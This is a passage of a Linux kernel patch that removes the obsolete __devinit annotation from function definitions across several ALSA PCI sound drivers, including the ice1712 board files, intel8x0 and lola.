  *
  */
 
-static int __devinit snd_vt1724_probe(struct pci_dev *pci,
+static int snd_vt1724_probe(struct pci_dev *pci,
 				      const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/ice1712/juli.c b/sound/pci/ice1712/juli.c
index a6b23b4..0585e9c 100644
--- a/sound/pci/ice1712/juli.c
+++ b/sound/pci/ice1712/juli.c
@@ -422,7 +422,7 @@ static char *slave_vols[] __devinitdata = {
 static __devinitdata
 DECLARE_TLV_DB_SCALE(juli_master_db_scale, -6350, 50, 1);
 
-static struct snd_kcontrol __devinit *ctl_find(struct snd_card *card,
+static struct snd_kcontrol *ctl_find(struct snd_card *card,
 		const char *name)
 {
 	struct snd_ctl_elem_id sid;
@@ -433,7 +433,7 @@ static struct snd_kcontrol __devinit *ctl_find(struct snd_card *card,
 	return snd_ctl_find_id(card, &sid);
 }
 
-static void __devinit add_slaves(struct snd_card *card,
+static void add_slaves(struct snd_card *card,
 				 struct snd_kcontrol *master,
 				 char * const *list)
 {
@@ -447,7 +447,7 @@ static void __devinit add_slaves(struct snd_card *card,
 	}
 }
 
-static int __devinit juli_add_controls(struct snd_ice1712 *ice)
+static int juli_add_controls(struct snd_ice1712 *ice)
 {
 	struct juli_spec *spec = ice->spec;
 	int err;
@@ -579,7 +579,7 @@ static void juli_ak4114_change(struct ak4114 *ak4114, unsigned char c0,
 	}
 }
 
-static int __devinit juli_init(struct snd_ice1712 *ice)
+static int juli_init(struct snd_ice1712 *ice)
 {
 	static const unsigned char ak4114_init_vals[] = {
 		/* AK4117_REG_PWRDN */	AK4114_RST | AK4114_PWN |
diff --git a/sound/pci/ice1712/maya44.c b/sound/pci/ice1712/maya44.c
index d8d749e..9292ca1 100644
--- a/sound/pci/ice1712/maya44.c
+++ b/sound/pci/ice1712/maya44.c
@@ -544,7 +544,7 @@ static struct snd_kcontrol_new maya_controls[] __devinitdata = {
 	},
 };
 
-static int __devinit maya44_add_controls(struct snd_ice1712 *ice)
+static int maya44_add_controls(struct snd_ice1712 *ice)
 {
 	int err, i;
 
@@ -561,7 +561,7 @@ static int __devinit maya44_add_controls(struct snd_ice1712 *ice)
 /*
  * initialize a wm8776 chip
  */
-static void __devinit wm8776_init(struct snd_ice1712 *ice,
+static void wm8776_init(struct snd_ice1712 *ice,
 				  struct snd_wm8776 *wm, unsigned int addr)
 {
 	static const unsigned short inits_wm8776[] = {
@@ -699,7 +699,7 @@ static unsigned char wm8776_addr[2] __devinitdata = {
 /*
  * initialize the chip
  */
-static int __devinit maya44_init(struct snd_ice1712 *ice)
+static int maya44_init(struct snd_ice1712 *ice)
 {
 	int i;
 	struct snd_maya44 *chip;
diff --git a/sound/pci/ice1712/phase.c b/sound/pci/ice1712/phase.c
index c9be75a..a9dbdd8 100644
--- a/sound/pci/ice1712/phase.c
+++ b/sound/pci/ice1712/phase.c
@@ -120,7 +120,7 @@ static struct snd_ak4xxx_private akm_phase22_priv __devinitdata = {
 	.mask_flags =	0,
 };
 
-static int __devinit phase22_init(struct snd_ice1712 *ice)
+static int phase22_init(struct snd_ice1712 *ice)
 {
 	struct snd_akm4xxx *ak;
 	int err;
@@ -157,7 +157,7 @@ static int __devinit phase22_init(struct snd_ice1712 *ice)
 	return 0;
 }
 
-static int __devinit phase22_add_controls(struct snd_ice1712 *ice)
+static int phase22_add_controls(struct snd_ice1712 *ice)
 {
 	int err = 0;
 
@@ -378,7 +378,7 @@ static int wm_master_vol_put(struct snd_kcontrol *kcontrol,
 	return change;
 }
 
-static int __devinit phase28_init(struct snd_ice1712 *ice)
+static int phase28_init(struct snd_ice1712 *ice)
 {
 	static const unsigned short wm_inits_phase28[] = {
 		/* These come first to reduce init pop noise */
@@ -918,7 +918,7 @@ static struct snd_kcontrol_new wm_controls[] __devinitdata = {
 	}
 };
 
-static int __devinit phase28_add_controls(struct snd_ice1712 *ice)
+static int phase28_add_controls(struct snd_ice1712 *ice)
 {
 	unsigned int i, counts;
 	int err;
diff --git a/sound/pci/ice1712/pontis.c b/sound/pci/ice1712/pontis.c
index 3ce1289..8676d2f 100644
--- a/sound/pci/ice1712/pontis.c
+++ b/sound/pci/ice1712/pontis.c
@@ -696,7 +696,7 @@ static void cs_proc_init(struct snd_ice1712 *ice)
 }
 
 
-static int __devinit pontis_add_controls(struct snd_ice1712 *ice)
+static int pontis_add_controls(struct snd_ice1712 *ice)
 {
 	unsigned int i;
 	int err;
@@ -717,7 +717,7 @@ static int __devinit pontis_add_controls(struct snd_ice1712 *ice)
 /*
  * initialize the chip
  */
-static int __devinit pontis_init(struct snd_ice1712 *ice)
+static int pontis_init(struct snd_ice1712 *ice)
 {
 	static const unsigned short wm_inits[] = {
 		/* These come first to reduce init pop noise */
diff --git a/sound/pci/ice1712/prodigy192.c b/sound/pci/ice1712/prodigy192.c
index 3fcf581..3426acc 100644
--- a/sound/pci/ice1712/prodigy192.c
+++ b/sound/pci/ice1712/prodigy192.c
@@ -671,7 +671,7 @@ static void stac9460_proc_init(struct snd_ice1712 *ice)
 }
 
 
-static int __devinit prodigy192_add_controls(struct snd_ice1712 *ice)
+static int prodigy192_add_controls(struct snd_ice1712 *ice)
 {
 	struct prodigy192_spec *spec = ice->spec;
 	unsigned int i;
@@ -727,7 +727,7 @@ static int prodigy192_miodio_exists(struct snd_ice1712 *ice)
 /*
  * initialize the chip
  */
-static int __devinit prodigy192_init(struct snd_ice1712 *ice)
+static int prodigy192_init(struct snd_ice1712 *ice)
 {
 	static const unsigned short stac_inits_prodigy[] = {
 		STAC946X_RESET, 0,
diff --git a/sound/pci/ice1712/prodigy_hifi.c b/sound/pci/ice1712/prodigy_hifi.c
index 4fea87f..931eb08 100644
--- a/sound/pci/ice1712/prodigy_hifi.c
+++ b/sound/pci/ice1712/prodigy_hifi.c
@@ -938,7 +938,7 @@ static void wm_proc_init(struct snd_ice1712 *ice)
 	}
 }
 
-static int __devinit prodigy_hifi_add_controls(struct snd_ice1712 *ice)
+static int prodigy_hifi_add_controls(struct snd_ice1712 *ice)
 {
 	unsigned int i;
 	int err;
@@ -955,7 +955,7 @@ static int __devinit prodigy_hifi_add_controls(struct snd_ice1712 *ice)
 	return 0;
 }
 
-static int __devinit prodigy_hd2_add_controls(struct snd_ice1712 *ice)
+static int prodigy_hd2_add_controls(struct snd_ice1712 *ice)
 {
 	unsigned int i;
 	int err;
@@ -976,7 +976,7 @@ static int __devinit prodigy_hd2_add_controls(struct snd_ice1712 *ice)
 /*
  * initialize the chip
  */
-static int __devinit prodigy_hifi_init(struct snd_ice1712 *ice)
+static int prodigy_hifi_init(struct snd_ice1712 *ice)
 {
 	static unsigned short wm_inits[] = {
 		/* These come first to reduce init pop noise */
@@ -1114,7 +1114,7 @@ static int prodigy_hd2_resume(struct snd_ice1712 *ice)
 }
 #endif
 
-static int __devinit prodigy_hd2_init(struct snd_ice1712 *ice)
+static int prodigy_hd2_init(struct snd_ice1712 *ice)
 {
 	struct prodigy_hifi_spec *spec;
 
diff --git a/sound/pci/ice1712/psc724.c b/sound/pci/ice1712/psc724.c
index 0b6c4e6..1c15552 100644
--- a/sound/pci/ice1712/psc724.c
+++ b/sound/pci/ice1712/psc724.c
@@ -316,7 +316,7 @@ static const char *clfe_deemph	= "CLFE Deemphasis Playback Switch";
 static const char *rear_clfe_izd = "Rear Infinite Zero Detect Playback Switch";
 static const char *rear_clfe_zc	= "Rear Zero Cross Detect Playback Switch";
 
-static int __devinit psc724_add_controls(struct snd_ice1712 *ice)
+static int psc724_add_controls(struct snd_ice1712 *ice)
 {
 	struct snd_kcontrol_new cont;
 	struct snd_kcontrol *ctl;
@@ -396,7 +396,7 @@ static int psc724_resume(struct snd_ice1712 *ice)
 
 /* init */
 
-static int __devinit psc724_init(struct snd_ice1712 *ice)
+static int psc724_init(struct snd_ice1712 *ice)
 {
 	struct psc724_spec *spec;
 
diff --git a/sound/pci/ice1712/quartet.c b/sound/pci/ice1712/quartet.c
index c85b2ff..1f02d0d 100644
--- a/sound/pci/ice1712/quartet.c
+++ b/sound/pci/ice1712/quartet.c
@@ -804,7 +804,7 @@ static char *slave_vols[] __devinitdata = {
 static __devinitdata
 DECLARE_TLV_DB_SCALE(qtet_master_db_scale, -6350, 50, 1);
 
-static struct snd_kcontrol __devinit *ctl_find(struct snd_card *card,
+static struct snd_kcontrol *ctl_find(struct snd_card *card,
 		const char *name)
 {
 	struct snd_ctl_elem_id sid;
@@ -815,7 +815,7 @@ static struct snd_kcontrol __devinit *ctl_find(struct snd_card *card,
 	return snd_ctl_find_id(card, &sid);
 }
 
-static void __devinit add_slaves(struct snd_card *card,
+static void add_slaves(struct snd_card *card,
 		struct snd_kcontrol *master, char * const *list)
 {
 	for (; *list; list++) {
@@ -825,7 +825,7 @@ static void __devinit add_slaves(struct snd_card *card,
 	}
 }
 
-static int __devinit qtet_add_controls(struct snd_ice1712 *ice)
+static int qtet_add_controls(struct snd_ice1712 *ice)
 {
 	struct qtet_spec *spec = ice->spec;
 	int err, i;
@@ -1007,7 +1007,7 @@ static void qtet_spdif_in_open(struct snd_ice1712 *ice,
 /*
  * initialize the chip
  */
-static int __devinit qtet_init(struct snd_ice1712 *ice)
+static int qtet_init(struct snd_ice1712 *ice)
 {
 	static const unsigned char ak4113_init_vals[] = {
 		/* AK4113_REG_PWRDN */	AK4113_RST | AK4113_PWN |
diff --git a/sound/pci/ice1712/revo.c b/sound/pci/ice1712/revo.c
index a1b7975..f37d403 100644
--- a/sound/pci/ice1712/revo.c
+++ b/sound/pci/ice1712/revo.c
@@ -467,7 +467,7 @@ static unsigned char ap192_ak4114_read(void *private_data, unsigned char addr)
 	return data;
 }
 
-static int __devinit ap192_ak4114_init(struct snd_ice1712 *ice)
+static int ap192_ak4114_init(struct snd_ice1712 *ice)
 {
 	static const unsigned char ak4114_init_vals[] = {
 		AK4114_RST | AK4114_PWN | AK4114_OCKS0 | AK4114_OCKS1,
@@ -495,7 +495,7 @@ static int __devinit ap192_ak4114_init(struct snd_ice1712 *ice)
 	return 0; /* error ignored; it's no fatal error */
 }
 
-static int __devinit revo_init(struct snd_ice1712 *ice)
+static int revo_init(struct snd_ice1712 *ice)
 {
 	struct snd_akm4xxx *ak;
 	int err;
@@ -573,7 +573,7 @@ static int __devinit revo_init(struct snd_ice1712 *ice)
 }
 
 
-static int __devinit revo_add_controls(struct snd_ice1712 *ice)
+static int revo_add_controls(struct snd_ice1712 *ice)
 {
 	struct revo51_spec *spec;
 	int err;
diff --git a/sound/pci/ice1712/se.c b/sound/pci/ice1712/se.c
index 53b555f..adff671 100644
--- a/sound/pci/ice1712/se.c
+++ b/sound/pci/ice1712/se.c
@@ -113,7 +113,7 @@ struct se_spec {
 /*  WM8740 interface                                                        */
 /****************************************************************************/
 
-static void __devinit se200pci_WM8740_init(struct snd_ice1712 *ice)
+static void se200pci_WM8740_init(struct snd_ice1712 *ice)
 {
 	/* nothing to do */
 }
@@ -195,7 +195,7 @@ static void se200pci_WM8766_set_volume(struct snd_ice1712 *ice, int ch,
 	}
 }
 
-static void __devinit se200pci_WM8766_init(struct snd_ice1712 *ice)
+static void se200pci_WM8766_init(struct snd_ice1712 *ice)
 {
 	se200pci_WM8766_write(ice, 0x1f, 0x000); /* RESET ALL */
 	udelay(10);
@@ -299,7 +299,7 @@ static void se200pci_WM8776_set_agc(struct snd_ice1712 *ice, unsigned int agc)
 	}
 }
 
-static void __devinit se200pci_WM8776_init(struct snd_ice1712 *ice)
+static void se200pci_WM8776_init(struct snd_ice1712 *ice)
 {
 	int i;
 	static unsigned short __devinitdata default_values[] = {
@@ -599,7 +599,7 @@ static int se200pci_cont_enum_put(struct snd_kcontrol *kc,
 static const DECLARE_TLV_DB_SCALE(db_scale_gain1, -12750, 50, 1);
 static const DECLARE_TLV_DB_SCALE(db_scale_gain2, -10350, 50, 1);
 
-static int __devinit se200pci_add_controls(struct snd_ice1712 *ice)
+static int se200pci_add_controls(struct snd_ice1712 *ice)
 {
 	int i;
 	struct snd_kcontrol_new cont;
@@ -677,7 +677,7 @@ static int __devinit se200pci_add_controls(struct snd_ice1712 *ice)
 /*  probe/initialize/setup                                                  */
 /****************************************************************************/
 
-static int __devinit se_init(struct snd_ice1712 *ice)
+static int se_init(struct snd_ice1712 *ice)
 {
 	struct se_spec *spec;
 
@@ -705,7 +705,7 @@ static int __devinit se_init(struct snd_ice1712 *ice)
 	return -ENOENT;
 }
 
-static int __devinit se_add_controls(struct snd_ice1712 *ice)
+static int se_add_controls(struct snd_ice1712 *ice)
 {
 	int err;
 
diff --git a/sound/pci/ice1712/vt1720_mobo.c b/sound/pci/ice1712/vt1720_mobo.c
index 8a0a839..87dfe9c 100644
--- a/sound/pci/ice1712/vt1720_mobo.c
+++ b/sound/pci/ice1712/vt1720_mobo.c
@@ -31,7 +31,7 @@
 #include "vt1720_mobo.h"
 
 
-static int __devinit k8x800_init(struct snd_ice1712 *ice)
+static int k8x800_init(struct snd_ice1712 *ice)
 {
 	ice->vt1720 = 1;
 
@@ -45,7 +45,7 @@ static int __devinit k8x800_init(struct snd_ice1712 *ice)
 	return 0;
 }
 
-static int __devinit k8x800_add_controls(struct snd_ice1712 *ice)
+static int k8x800_add_controls(struct snd_ice1712 *ice)
 {
 	/* FIXME: needs some quirks for VT1616? */
 	return 0;
diff --git a/sound/pci/ice1712/wtm.c b/sound/pci/ice1712/wtm.c
index 184163b..967bd41 100644
--- a/sound/pci/ice1712/wtm.c
+++ b/sound/pci/ice1712/wtm.c
@@ -447,7 +447,7 @@ static struct snd_kcontrol_new stac9640_controls[] __devinitdata = {
 
 
 /*INIT*/
-static int __devinit wtm_add_controls(struct snd_ice1712 *ice)
+static int wtm_add_controls(struct snd_ice1712 *ice)
 {
 	unsigned int i;
 	int err;
@@ -461,7 +461,7 @@ static int __devinit wtm_add_controls(struct snd_ice1712 *ice)
 	return 0;
 }
 
-static int __devinit wtm_init(struct snd_ice1712 *ice)
+static int wtm_init(struct snd_ice1712 *ice)
 {
 	static unsigned short stac_inits_prodigy[] = {
 		STAC946X_RESET, 0,
diff --git a/sound/pci/intel8x0.c b/sound/pci/intel8x0.c
index a3ab153..b6a5cfc 100644
--- a/sound/pci/intel8x0.c
+++ b/sound/pci/intel8x0.c
@@ -592,7 +592,7 @@ static unsigned short snd_intel8x0_codec_read(struct snd_ac97 *ac97,
 	return res;
 }
 
-static void __devinit snd_intel8x0_codec_read_test(struct intel8x0 *chip,
+static void snd_intel8x0_codec_read_test(struct intel8x0 *chip,
 						   unsigned int codec)
 {
 	unsigned int tmp;
@@ -1507,7 +1507,7 @@ struct ich_pcm_table {
 	int ac97_idx;
 };
 
-static int __devinit snd_intel8x0_pcm1(struct intel8x0 *chip, int device,
+static int snd_intel8x0_pcm1(struct intel8x0 *chip, int device,
 				       struct ich_pcm_table *rec)
 {
 	struct snd_pcm *pcm;
@@ -1656,7 +1656,7 @@ static struct ich_pcm_table ali_pcms[] __devinitdata = {
 #endif
 };
 
-static int __devinit snd_intel8x0_pcm(struct intel8x0 *chip)
+static int snd_intel8x0_pcm(struct intel8x0 *chip)
 {
 	int i, tblsize, device, err;
 	struct ich_pcm_table *tbl, *rec;
@@ -2196,7 +2196,7 @@ static struct ac97_quirk ac97_quirks[] __devinitdata = {
 	{ } /* terminator */
 };
 
-static int __devinit snd_intel8x0_mixer(struct intel8x0 *chip, int ac97_clock,
+static int snd_intel8x0_mixer(struct intel8x0 *chip, int ac97_clock,
 					const char *quirk_override)
 {
 	struct snd_ac97_bus *pbus;
@@ -2765,7 +2765,7 @@ static SIMPLE_DEV_PM_OPS(intel8x0_pm, intel8x0_suspend, intel8x0_resume);
 
 #define INTEL8X0_TESTBUF_SIZE	32768	/* enough large for one shot */
 
-static void __devinit intel8x0_measure_ac97_clock(struct intel8x0 *chip)
+static void intel8x0_measure_ac97_clock(struct intel8x0 *chip)
 {
 	struct snd_pcm_substream *subs;
 	struct ichdev *ichdev;
@@ -2892,7 +2892,7 @@ static struct snd_pci_quirk intel8x0_clock_list[] __devinitdata = {
 	{ }	/* terminator */
 };
 
-static int __devinit intel8x0_in_clock_list(struct intel8x0 *chip)
+static int intel8x0_in_clock_list(struct intel8x0 *chip)
 {
 	struct pci_dev *pci = chip->pci;
 	const struct snd_pci_quirk *wl;
@@ -2941,7 +2941,7 @@ static void snd_intel8x0_proc_read(struct snd_info_entry * entry,
 			chip->ac97_sdin[2]);
 }
 
-static void __devinit snd_intel8x0_proc_init(struct intel8x0 * chip)
+static void snd_intel8x0_proc_init(struct intel8x0 * chip)
 {
 	struct snd_info_entry *entry;
 
@@ -2970,7 +2970,7 @@ static unsigned int sis_codec_bits[3] = {
 	ICH_PCR, ICH_SCR, ICH_SIS_TCR
 };
 
-static int __devinit snd_intel8x0_inside_vm(struct pci_dev *pci)
+static int snd_intel8x0_inside_vm(struct pci_dev *pci)
 {
 	int result  = inside_vm;
 	char *msg   = NULL;
@@ -3009,7 +3009,7 @@ fini:
 	return result;
 }
 
-static int __devinit snd_intel8x0_create(struct snd_card *card,
+static int snd_intel8x0_create(struct snd_card *card,
 					 struct pci_dev *pci,
 					 unsigned long device_type,
 					 struct intel8x0 ** r_intel8x0)
@@ -3259,7 +3259,7 @@ static struct snd_pci_quirk spdif_aclink_defaults[] __devinitdata = {
 };
 
 /* look up white/black list for SPDIF over ac-link */
-static int __devinit check_default_spdif_aclink(struct pci_dev *pci)
+static int check_default_spdif_aclink(struct pci_dev *pci)
 {
 	const struct snd_pci_quirk *w;
 
@@ -3276,7 +3276,7 @@ static int __devinit check_default_spdif_aclink(struct pci_dev *pci)
 	return 0;
 }
 
-static int __devinit snd_intel8x0_probe(struct pci_dev *pci,
+static int snd_intel8x0_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/intel8x0m.c b/sound/pci/intel8x0m.c
index cb51181..32233ff 100644
--- a/sound/pci/intel8x0m.c
+++ b/sound/pci/intel8x0m.c
@@ -710,7 +710,7 @@ struct ich_pcm_table {
 	int ac97_idx;
 };
 
-static int __devinit snd_intel8x0m_pcm1(struct intel8x0m *chip, int device,
+static int snd_intel8x0m_pcm1(struct intel8x0m *chip, int device,
 				       struct ich_pcm_table *rec)
 {
 	struct snd_pcm *pcm;
@@ -759,7 +759,7 @@ static struct ich_pcm_table intel_pcms[] __devinitdata = {
 	},
 };
 
-static int __devinit snd_intel8x0m_pcm(struct intel8x0m *chip)
+static int snd_intel8x0m_pcm(struct intel8x0m *chip)
 {
 	int i, tblsize, device, err;
 	struct ich_pcm_table *tbl, *rec;
@@ -819,7 +819,7 @@ static void snd_intel8x0m_mixer_free_ac97(struct snd_ac97 *ac97)
 }
 
 
-static int __devinit snd_intel8x0m_mixer(struct intel8x0m *chip, int ac97_clock)
+static int snd_intel8x0m_mixer(struct intel8x0m *chip, int ac97_clock)
 {
 	struct snd_ac97_bus *pbus;
 	struct snd_ac97_template ac97;
@@ -1090,7 +1090,7 @@ static void snd_intel8x0m_proc_read(struct snd_info_entry * entry,
 			(tmp & (ICH_PCR | ICH_SCR | ICH_TCR)) == 0 ? " none" : "");
 }
 
-static void __devinit snd_intel8x0m_proc_init(struct intel8x0m * chip)
+static void snd_intel8x0m_proc_init(struct intel8x0m * chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1113,7 +1113,7 @@ struct ich_reg_info {
 	unsigned int offset;
 };
 
-static int __devinit snd_intel8x0m_create(struct snd_card *card,
+static int snd_intel8x0m_create(struct snd_card *card,
 					 struct pci_dev *pci,
 					 unsigned long device_type,
 					 struct intel8x0m **r_intel8x0m)
@@ -1275,7 +1275,7 @@ static struct shortname_table {
 	{ 0 },
 };
 
-static int __devinit snd_intel8x0m_probe(struct pci_dev *pci,
+static int snd_intel8x0m_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/korg1212/korg1212.c b/sound/pci/korg1212/korg1212.c
index 1deabc6..3398453 100644
--- a/sound/pci/korg1212/korg1212.c
+++ b/sound/pci/korg1212/korg1212.c
@@ -2083,7 +2083,7 @@ static void snd_korg1212_proc_read(struct snd_info_entry *entry,
         snd_iprintf(buffer, "    Error count: %ld\n", korg1212->totalerrorcnt);
 }
 
-static void __devinit snd_korg1212_proc_init(struct snd_korg1212 *korg1212)
+static void snd_korg1212_proc_init(struct snd_korg1212 *korg1212)
 {
 	struct snd_info_entry *entry;
 
@@ -2154,7 +2154,7 @@ static int snd_korg1212_dev_free(struct snd_device *device)
 	return snd_korg1212_free(korg1212);
 }
 
-static int __devinit snd_korg1212_create(struct snd_card *card, struct pci_dev *pci,
+static int snd_korg1212_create(struct snd_card *card, struct pci_dev *pci,
                                          struct snd_korg1212 ** rchip)
 
 {
@@ -2429,8 +2429,7 @@ static int __devinit snd_korg1212_create(struct snd_card *card, struct pci_dev *
  * Card initialisation
  */
 
-static int __devinit
-snd_korg1212_probe(struct pci_dev *pci,
+static int snd_korg1212_probe(struct pci_dev *pci,
 		const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/lola/lola.c b/sound/pci/lola/lola.c
index a72cca9..7be3dad 100644
--- a/sound/pci/lola/lola.c
+++ b/sound/pci/lola/lola.c
@@ -445,7 +445,7 @@ static void lola_reset_setups(struct lola *chip)
 	lola_setup_all_analog_gains(chip, PLAY, false); /* output, update */
 }
 
-static int __devinit lola_parse_tree(struct lola *chip)
+static int lola_parse_tree(struct lola *chip)
 {
 	unsigned int val;
 	int nid, err;
@@ -568,7 +568,7 @@ static int lola_dev_free(struct snd_device *device)
 	return 0;
 }
 
-static int __devinit lola_create(struct snd_card *card, struct pci_dev *pci,
+static int lola_create(struct snd_card *card, struct pci_dev *pci,
 				 int dev, struct lola **rchip)
 {
 	struct lola *chip;
@@ -702,7 +702,7 @@ static int __devinit lola_create(struct snd_card *card, struct pci_dev *pci,
 	return err;
 }
 
-static int __devinit lola_probe(struct pci_dev *pci,
+static int lola_probe(struct pci_dev *pci,
 				const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/lola/lola_clock.c b/sound/pci/lola/lola_clock.c
index 72f8ef0..eb1d6b9 100644
--- a/sound/pci/lola/lola_clock.c
+++ b/sound/pci/lola/lola_clock.c
@@ -120,7 +120,7 @@ int lola_set_granularity(struct lola *chip, unsigned int val, bool force)
  * Clock widget handling
  */
 
-int __devinit lola_init_clock_widget(struct lola *chip, int nid)
+int lola_init_clock_widget(struct lola *chip, int nid)
 {
 	unsigned int val;
 	int i, j, nitems, nb_verbs, idx, idx_list;
diff --git a/sound/pci/lola/lola_mixer.c b/sound/pci/lola/lola_mixer.c
index 6b8d648..2191935 100644
--- a/sound/pci/lola/lola_mixer.c
+++ b/sound/pci/lola/lola_mixer.c
@@ -28,7 +28,7 @@
 #include <sound/tlv.h>
 #include "lola.h"
 
-static int __devinit lola_init_pin(struct lola *chip, struct lola_pin *pin,
+static int lola_init_pin(struct lola *chip, struct lola_pin *pin,
 				   int dir, int nid)
 {
 	unsigned int val;
@@ -91,7 +91,7 @@ static int __devinit lola_init_pin(struct lola *chip, struct lola_pin *pin,
 	return 0;
 }
 
-int __devinit lola_init_pins(struct lola *chip, int dir, int *nidp)
+int lola_init_pins(struct lola *chip, int dir, int *nidp)
 {
 	int i, err, nid;
 	nid = *nidp;
@@ -112,7 +112,7 @@ void lola_free_mixer(struct lola *chip)
 		vfree(chip->mixer.array_saved);
 }
 
-int __devinit lola_init_mixer_widget(struct lola *chip, int nid)
+int lola_init_mixer_widget(struct lola *chip, int nid)
 {
 	unsigned int val;
 	int err;
@@ -590,7 +590,7 @@ static struct snd_kcontrol_new lola_analog_mixer __devinitdata = {
 	.tlv.c = lola_analog_vol_tlv,
 };
 
-static int __devinit create_analog_mixer(struct lola *chip, int dir, char *name)
+static int create_analog_mixer(struct lola *chip, int dir, char *name)
 {
 	if (!chip->pin[dir].num_pins)
 		return 0;
@@ -656,7 +656,7 @@ static struct snd_kcontrol_new lola_input_src_mixer __devinitdata = {
  * Lola16161 or Lola881 can have Hardware sample rate converters
  * on its digital input pins
  */
-static int __devinit create_input_src_mixer(struct lola *chip)
+static int create_input_src_mixer(struct lola *chip)
 {
 	if (!chip->input_src_caps_mask)
 		return 0;
@@ -736,7 +736,7 @@ static struct snd_kcontrol_new lola_src_gain_mixer __devinitdata = {
 	.tlv.p = lola_src_gain_tlv,
 };
 
-static int __devinit create_src_gain_mixer(struct lola *chip,
+static int create_src_gain_mixer(struct lola *chip,
 					   int num, int ofs, char *name)
 {
 	lola_src_gain_mixer.name = name;
@@ -823,7 +823,7 @@ static struct snd_kcontrol_new lola_dest_gain_mixer __devinitdata = {
 	.tlv.p = lola_dest_gain_tlv,
 };
 
-static int __devinit create_dest_gain_mixer(struct lola *chip,
+static int create_dest_gain_mixer(struct lola *chip,
 					    int src_num, int src_ofs,
 					    int num, int ofs, char *name)
 {
@@ -838,7 +838,7 @@ static int __devinit create_dest_gain_mixer(struct lola *chip,
 
 /*
  */
-int __devinit lola_create_mixer(struct lola *chip)
+int lola_create_mixer(struct lola *chip)
 {
 	int err;
 
diff --git a/sound/pci/lola/lola_pcm.c b/sound/pci/lola/lola_pcm.c
index c44db68..5ea85e8 100644
--- a/sound/pci/lola/lola_pcm.c
+++ b/sound/pci/lola/lola_pcm.c
@@ -597,7 +597,7 @@ static struct snd_pcm_ops lola_pcm_ops = {
 	.page = snd_pcm_sgbuf_ops_page,
 };
 
-int __devinit lola_create_pcm(struct lola *chip)
+int lola_create_pcm(struct lola *chip)
 {
 	struct snd_pcm *pcm;
 	int i, err;
@@ -690,7 +690,7 @@ static int lola_init_stream(struct lola *chip, struct lola_stream *str,
 	return 0;
 }
 
-int __devinit lola_init_pcm(struct lola *chip, int dir, int *nidp)
+int lola_init_pcm(struct lola *chip, int dir, int *nidp)
 {
 	struct lola_pcm *pcm = &chip->pcm[dir];
 	int i, nid, err;
diff --git a/sound/pci/lola/lola_proc.c b/sound/pci/lola/lola_proc.c
index 9d7daf8..04df83d 100644
--- a/sound/pci/lola/lola_proc.c
+++ b/sound/pci/lola/lola_proc.c
@@ -206,7 +206,7 @@ static void lola_proc_regs_read(struct snd_info_entry *entry,
 	}
 }
 
-void __devinit lola_proc_debug_new(struct lola *chip)
+void lola_proc_debug_new(struct lola *chip)
 {
 	struct snd_info_entry *entry;
 
diff --git a/sound/pci/lx6464es/lx6464es.c b/sound/pci/lx6464es/lx6464es.c
index 62b378c..62ff221 100644
--- a/sound/pci/lx6464es/lx6464es.c
+++ b/sound/pci/lx6464es/lx6464es.c
@@ -578,7 +578,7 @@ static int snd_lx6464es_dev_free(struct snd_device *device)
 }
 
 /* reset the dsp during initialization */
-static int __devinit lx_init_xilinx_reset(struct lx6464es *chip)
+static int lx_init_xilinx_reset(struct lx6464es *chip)
 {
 	int i;
 	u32 plx_reg = lx_plx_reg_read(chip, ePLX_CHIPSC);
@@ -620,7 +620,7 @@ static int __devinit lx_init_xilinx_reset(struct lx6464es *chip)
 	return 0;
 }
 
-static int __devinit lx_init_xilinx_test(struct lx6464es *chip)
+static int lx_init_xilinx_test(struct lx6464es *chip)
 {
 	u32 reg;
 
@@ -650,7 +650,7 @@ static int __devinit lx_init_xilinx_test(struct lx6464es *chip)
 }
 
 /* initialize ethersound */
-static int __devinit lx_init_ethersound_config(struct lx6464es *chip)
+static int lx_init_ethersound_config(struct lx6464es *chip)
 {
 	int i;
 	u32 orig_conf_es = lx_dsp_reg_read(chip, eReg_CONFES);
@@ -690,7 +690,7 @@ static int __devinit lx_init_ethersound_config(struct lx6464es *chip)
 	return 0;
 }
 
-static int __devinit lx_init_get_version_features(struct lx6464es *chip)
+static int lx_init_get_version_features(struct lx6464es *chip)
 {
 	u32 dsp_version;
 
@@ -759,7 +759,7 @@ static int lx_set_granularity(struct lx6464es *chip, u32 gran)
 }
 
 /* initialize and test the xilinx dsp chip */
-static int __devinit lx_init_dsp(struct lx6464es *chip)
+static int lx_init_dsp(struct lx6464es *chip)
 {
 	int err;
 	int i;
@@ -835,7 +835,7 @@ static struct snd_pcm_ops lx_ops_capture = {
 	.pointer   = lx_pcm_stream_pointer,
 };
 
-static int __devinit lx_pcm_create(struct lx6464es *chip)
+static int lx_pcm_create(struct lx6464es *chip)
 {
 	int err;
 	struct snd_pcm *pcm;
@@ -954,7 +954,7 @@ static void lx_proc_levels_read(struct snd_info_entry *entry,
 	snd_iprintf(buffer, "\n");
 }
 
-static int __devinit lx_proc_create(struct snd_card *card, struct lx6464es *chip)
+static int lx_proc_create(struct snd_card *card, struct lx6464es *chip)
 {
 	struct snd_info_entry *entry;
 	int err = snd_card_proc_new(card, "levels", &entry);
@@ -966,7 +966,7 @@ static int __devinit lx_proc_create(struct snd_card *card, struct lx6464es *chip
 }
 
 
-static int __devinit snd_lx6464es_create(struct snd_card *card,
+static int snd_lx6464es_create(struct snd_card *card,
 					 struct pci_dev *pci,
 					 struct lx6464es **rchip)
 {
@@ -1082,7 +1082,7 @@ alloc_failed:
 	return err;
 }
 
-static int __devinit snd_lx6464es_probe(struct pci_dev *pci,
+static int snd_lx6464es_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/lx6464es/lx_core.c b/sound/pci/lx6464es/lx_core.c
index 8c3e7fc..633c860 100644
--- a/sound/pci/lx6464es/lx_core.c
+++ b/sound/pci/lx6464es/lx_core.c
@@ -385,7 +385,7 @@ polling_successful:
 
 
 /* low-level dsp access */
-int __devinit lx_dsp_get_version(struct lx6464es *chip, u32 *rdsp_version)
+int lx_dsp_get_version(struct lx6464es *chip, u32 *rdsp_version)
 {
 	u16 ret;
 	unsigned long flags;
